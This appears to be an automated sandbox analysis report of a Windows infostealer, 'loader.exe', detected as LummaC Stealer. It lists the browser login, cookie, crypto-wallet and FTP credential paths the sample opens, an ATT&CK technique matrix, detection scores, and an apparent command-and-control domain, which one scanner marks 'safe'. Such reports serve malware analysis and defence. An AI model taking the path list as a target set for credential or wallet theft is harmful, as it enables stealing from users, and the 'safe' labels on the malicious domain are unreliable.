Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\loader.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior

Source: Yara match

File source: Process Memory Space: loader.exe PID: 7372, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: loader.exe PID: 7372, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	11 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	141 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	31 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	11 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	33 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
loader.exe	47%	ReversingLabs	Win32.Trojan.Generic
loader.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://property-imper.sbs/apin	0%	Avira URL Cloud	safe
https://property-imper.sbs/apik	0%	Avira URL Cloud	safe
https://property-imper.sbs/%j	0%	Avira URL Cloud	safe
https://property-imper.sbs/-	0%	Avira URL Cloud	safe
https://property-imper.sbs:443/apitPK	0%	Avira URL Cloud	safe
https://property-imper.sbs/i	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
property-imper.sbs	172.67.162.84	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://property-imper.sbs/api	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	loader.exe, 00000005.00000003.1709108207.0000000005609000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1709047142.000000000560B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	loader.exe, 00000005.00000003.1709108207.0000000005609000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1709047142.000000000560B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs:443/api	loader.exe, 00000005.00000003.1863948333.0000000002D9C000.00000004.00000020.00020000.00000000.sdmp, loader.exe, 00000005.00000002.1864558893.0000000002D9C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	loader.exe, 00000005.00000003.1755502043.00000000055C9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	loader.exe, 00000005.00000003.1709108207.0000000005609000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1709047142.000000000560B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/apik	loader.exe, 00000005.00000002.1864978713.0000000002E50000.00000004.00000020.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1819458912.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://property-imper.sbs/apin	loader.exe, 00000005.00000003.1863948333.0000000002DD8000.00000004.00000020.00020000.00000000.sdmp, loader.exe, 00000005.00000002.1864558893.0000000002DD8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	loader.exe, 00000005.00000003.1755502043.00000000055C9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	loader.exe, 00000005.00000003.1709108207.0000000005609000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1709047142.000000000560B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	loader.exe, 00000005.00000003.1753409010.00000000055F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/%j	loader.exe, 00000005.00000003.1863948333.0000000002DC9000.00000004.00000020.00020000.00000000.sdmp, loader.exe, 00000005.00000002.1864558893.0000000002DC9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	loader.exe, 00000005.00000003.1709108207.0000000005609000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1709047142.000000000560B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	loader.exe, 00000005.00000003.1753409010.00000000055F2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	loader.exe, 00000005.00000003.1709492713.0000000005663000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1709558120.0000000005617000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1709637829.0000000005617000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1731588987.0000000005617000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1731353744.0000000005617000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	loader.exe, 00000005.00000003.1709492713.0000000005663000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1709558120.0000000005617000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1709637829.0000000005617000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1731588987.0000000005617000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1731353744.0000000005617000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	loader.exe, 00000005.00000003.1709108207.0000000005609000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1709047142.000000000560B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/	loader.exe, 00000005.00000003.1779722001.0000000002E42000.00000004.00000020.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1863948333.0000000002DD8000.00000004.00000020.00020000.00000000.sdmp, loader.exe, 00000005.00000002.1864978713.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1800680835.0000000002E42000.00000004.00000020.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1819458912.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1805380680.0000000002E42000.00000004.00000020.00020000.00000000.sdmp, loader.exe, 00000005.00000002.1864558893.0000000002DD8000.00000004.00000020.00020000.00000000.sdmp	false		high
